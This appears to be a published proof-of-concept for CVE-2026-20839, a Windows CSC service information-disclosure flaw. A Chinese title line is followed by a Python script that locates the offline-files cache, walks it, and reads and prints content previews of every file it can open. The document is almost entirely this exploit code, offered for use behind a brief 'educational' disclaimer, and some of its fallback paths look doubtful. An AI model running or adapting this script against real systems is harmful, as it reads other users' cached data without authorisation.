CVE-2026-20839 Windows CSC服务访问控制不当信息泄露漏洞

# CVE-2026-20839 PoC - Windows CSC Service Information Disclosure # This PoC demonstrates accessing CSC cache files with improper access control # Note: This is for educational and security research purposes only import os import sys import subprocess import ctypes from pathlib import Path def check_privileges(): """Check if running with appropriate privileges""" try: is_admin = ctypes.windll.shell32.IsUserAnAdmin() return is_admin != 0 except: return False def locate_csc_directory(): """Locate the CSC cache directory on Windows system""" system_root = os.environ.get('SYSTEMROOT', 'C:\\Windows') csc_path = Path(system_root) / 'CSC' # Alternative locations to check alt_paths = [ Path(system_root) / 'System32' / 'csc', Path(system_root) / 'ServiceProfiles' / 'AppData' / 'Local' / 'Microsoft' / 'Windows' / 'Caches', ] if csc_path.exists(): return csc_path for path in alt_paths: if path.exists(): return path return None def enumerate_cache_files(csc_path): """Enumerate accessible cache files exploiting improper ACL""" exposed_files = [] try: # Attempt to list and read files in CSC directory for root, dirs, files in os.walk(csc_path): for file in files: file_path = Path(root) / file try: # Try to read file metadata stat_info = file_path.stat() # Attempt to read file content with open(file_path, 'rb') as f: content = f.read() exposed_files.append({ 'path': str(file_path), 'size': stat_info.st_size, 'content_preview': content[:100] if len(content) > 100 else content }) except (PermissionError, IOError, OSError) as e: # Files with proper ACL will raise exceptions continue except Exception as e: print(f"Error enumerating cache: {e}") return exposed_files def exploit_cve_2026_20839(): """Main exploit function for CVE-2026-20839""" print("=" * 60) print("CVE-2026-20839 - Windows CSC Service Information Disclosure") print("=" * 60) # Check for low-privilege access (as expected for this vulnerability) print(f"\nRunning as administrator: {check_privileges()}") print("Note: This vulnerability can be exploited with low privileges") # Locate CSC cache directory csc_path = locate_csc_directory() if not csc_path: print("CSC directory not found on this system") return None print(f"\nCSC directory located: {csc_path}") # Enumerate exposed cache files print("\nEnumerating cache files with improper access control...") exposed_files = enumerate_cache_files(csc_path) print(f"\nFound {len(exposed_files)} accessible cache files:") for idx, file_info in enumerate(exposed_files[:10], 1): print(f"\n[{idx}] {file_info['path']}") print(f" Size: {file_info['size']} bytes") if file_info['content_preview']: print(f" Preview: {file_info['content_preview'][:50]}...") return exposed_files if __name__ == "__main__": exploit_cve_2026_20839()